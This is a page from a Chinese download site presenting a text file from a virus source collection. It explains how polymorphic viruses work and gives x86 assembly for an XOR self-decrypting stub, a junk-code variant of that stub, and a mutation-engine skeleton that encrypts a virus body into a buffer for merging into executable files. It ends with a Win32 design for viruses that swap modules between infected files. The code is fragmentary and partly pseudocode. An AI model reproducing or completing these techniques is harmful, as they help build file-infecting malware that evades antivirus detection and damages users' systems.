⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 变形病毒.txt

📁 病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码
💻 TXT
字号:
病毒由无加密到简单加密发展到变形病毒.早期的简单加密病毒工作范例如下: 
@entry: 
call @1 
@1: pop bp 
lea di,[bp+@3-@1] 
@2: xor byte ptr cs:[di],0 
@key = $-1 
inc di 
loop @2 
@3: ... ;病毒的主要代码 

@4: ;这里假设,es:di指向用于储存加密后代码的缓冲区 
mov cx,@end-@entry 
lea si,[bp+@entry-@1] 
push ds 
push cs 
pop ds 
in al,41h 
mov byte ptr [@key],al ;可将由41h端口读入的timer作为key 
rep movsb 
lea si,[di+@3-entry] 
mov cx,@end-entry 
@5: xor byte ptr es:[si],al 
inc si 
loop @5 
... 
@end: 
用一个简单的xor操作,以timer值作为KEY对代码进行加密.由此病毒的主体可能有256种变化,用一个更长的KEY可以得到更多的变化.但是用于解密的代码却是不变的,这是简单加密病毒的弱点. 
看看以下这个稍作修改的例子: 
@entry: 
call @1 
@1: mov ax,12h 
pop bp 
sub ax,cx 
lea di,[bp+@3-@1] 
@2: add ax,bx 
xor bype ptr cs:[di],0 
@key =$-1 
jnz $+2 
inc di 
mov ax,[12h] 
loop @2 
@3: 
... 
它和上面的例子功能是一样的,但看上去却是不同的代码.这就是变形病毒的关键:产生一些无用的代码夹在解密的代码中,使得每次的解密代码看上去是不一样的. 
选择垃圾代码的原则:1.不会破坏有用的REGISTER;2.不改变MEMORY的内容; 
3.解密代码要用FLAGS时也不能改变FLAGS.上面的例子中只需遵循1,2.一个由普通病毒改为变形病毒的例子如下: 
VirusEntry: 
... 
infect: 
.286c 
push offset VirusEntry 
push offset buffer 
call Encrypt ;encrypt virus to buffer 
... ;merge buffer to executable file 
Encrypt proc near 
decrypt:db sizeof(call $+5),rawcode(call $+5) ;定义如下, 
db sizeof(pop bp),rawcode(pop bp) ;一条代码的长度 
;代码的机器码 
... 
db 0 
;repeat 
;generate junk code and write buffer 
;wirte one decrypt code to buffer 
;untile all decrypt code has been written 
;encrypt virus and wirte buffer 
ret 
endp 
一个变形引擎可以用于任何病毒源码,使它成为一个变形病毒.这就是变形引擎的工作原理. 
Win32中将病毒分为三块:
startup code:得到API入口地址,搜索未感染文件,并调用infect code进行感染。读出已感染文件的病毒体,并调用evolution codeinfect code:感染文件
evolotion code:随机读入病毒体中的某一块,并用于替代本病毒的相应模块。
定义以下的结构用于evolution code
startuprva dd ? ;startup相对病毒开始位置的偏移
startuplen dd ? ;startup的长度
infectrva dd ?
infectlen dd ?
evolutionrva dd ?
evolutionlen dd ?
由于要进行交换,病毒没有加密。只要遵循一定的规则编写一系列的evolution病毒,它将在感染过程中不断地改变。

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -